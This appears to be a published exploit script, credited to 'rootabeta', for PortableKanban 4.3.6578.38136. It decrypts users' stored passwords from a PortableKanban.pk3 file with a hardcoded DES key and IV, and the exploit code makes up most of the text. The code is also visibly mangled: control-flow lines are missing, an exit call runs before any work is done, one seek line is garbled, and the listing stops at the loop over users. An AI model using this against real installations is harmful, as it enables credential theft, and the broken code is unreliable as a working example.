# Exploit Title: PortableKanban 4.3.6578.38136 - Encrypted Password Retrieval  
# Date: 9 Jan 2021  
# Exploit Author: rootabeta  
# Vendor Homepage: The original page,, cannot be found at this time of writing. The vulnerable software can be downloaded from  
# Software Link:  
# Version: Tested on: 4.3.6578.38136. All versions that use the similar file format are likely vulnerable.  
# Tested on: Windows 10 x64. Exploit likely works on all OSs that PBK runs on.   
# PortableKanBan stores credentials in an encrypted format  
# Reverse engineering the executable allows an attacker to extract credentials from local storage  
# Provide this program with the path to a valid PortableKanban.pk3 file and it will extract the decoded credentials  
import json  
import base64  
from des import * #python3 -m pip install des  
import sys  
path = sys.argv[1]  
exit("Supply path to PortableKanban.pk3 as argv1")  
def decode(hash):  
hash = base64.b64decode(hash.encode('utf-8'))  
key = DesKey(b"7ly6UznJ")  
return key.decrypt(hash,initial=b"XuVUm5fR",padding=True).decode('utf-8')  
with open(path) as f:  
data = json.load(f)  
except: #Start of file sometimes contains junk - this automatically seeks valid JSON  
broken = True  
i = 1  
while broken:,0)  
data = json.load(f)  
broken = False  
i+= 1  
for user in data["Users"]: